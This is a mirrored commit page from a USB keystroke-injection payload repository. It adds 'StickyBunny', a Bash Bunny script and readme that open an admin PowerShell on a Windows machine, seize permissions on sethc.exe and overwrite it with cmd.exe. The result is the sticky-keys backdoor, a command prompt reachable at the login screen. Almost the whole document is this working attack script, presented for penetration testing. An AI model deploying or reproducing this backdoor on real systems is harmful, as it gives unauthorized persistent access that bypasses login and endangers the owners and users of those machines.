mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added stickyBunny payload (#232)
This commit is contained in:
committed by
Sebastian Kinne
parent
c8b892badb
commit
3c2dd4ac1e
64
payloads/library/execution/StickyBunny/payload.txt
Normal file
64
payloads/library/execution/StickyBunny/payload.txt
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: StickyBunny
|
||||||
|
# Author: Squibs
|
||||||
|
# Version: 0.3
|
||||||
|
# Plug2Pwn: 18s
|
||||||
|
#
|
||||||
|
# Creates the sticky keys back door on a windows machine
|
||||||
|
#
|
||||||
|
# Blue...............Preparing Attack
|
||||||
|
# Yellow.............Attacking
|
||||||
|
# Green..............GTFO
|
||||||
|
|
||||||
|
#Open Admin Powershell
|
||||||
|
ATTACKMODE HID
|
||||||
|
LED B 200
|
||||||
|
Q GUI
|
||||||
|
Q DELAY 500
|
||||||
|
Q STRING POWERSHELL
|
||||||
|
Q DELAY 1000
|
||||||
|
Q CTRL-SHIFT ENTER
|
||||||
|
Q DELAY 2000
|
||||||
|
Q LEFTARROW
|
||||||
|
Q DELAY 100
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 1200
|
||||||
|
|
||||||
|
#Give Permissions for sethc.exe to current user
|
||||||
|
LED Y 500
|
||||||
|
Q STRING "\$Acl = Get-Acl sethc.exe"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING "\$Ar = New-Object system.security.accesscontrol.filesystemaccessrule(\$env:UserName,\"FullControl\",\"Allow\")"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING "\$Acl.SetAccessRule(\$Ar)"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING "Set-Acl sethc.exe \$Acl"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
|
||||||
|
#Copy over CMD to SETHC.EXE (Save sethc.exe as sethc.exe.bak if you want to be nice)
|
||||||
|
Q STRING "xcopy sethc.exe sethc.exe.bak"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 1200
|
||||||
|
Q STRING "F"
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING "xcopy cmd.exe sethc.exe"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 200
|
||||||
|
Q STRING "Y"
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 200
|
||||||
|
|
||||||
|
# GTFO
|
||||||
|
Q STRING EXIT
|
||||||
|
Q ENTER
|
||||||
|
|
||||||
|
#Sync Drive
|
||||||
|
sync
|
||||||
|
|
||||||
|
#Trap is clean!
|
||||||
|
LED G
|
||||||
21
payloads/library/execution/StickyBunny/readme.md
Normal file
21
payloads/library/execution/StickyBunny/readme.md
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
# StickyBunny
|
||||||
|
* Author: Squibs
|
||||||
|
* Version: 0.1
|
||||||
|
* Target: Windows
|
||||||
|
* Time: 19s
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Changes the sticky keys executeable to a CMD executatble allowing CMD to be opened at login page.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
None.
|
||||||
|
|
||||||
|
## STATUS
|
||||||
|
|
||||||
|
| LED | Status |
|
||||||
|
| ------------------ | -------------------------------------------- |
|
||||||
|
| Blue (blinking) | Setting up |
|
||||||
|
| Purple (blinking) | Running Attack |
|
||||||
|
| Green (solid) | Complete |
|
||||||
Reference in New Issue
Block a user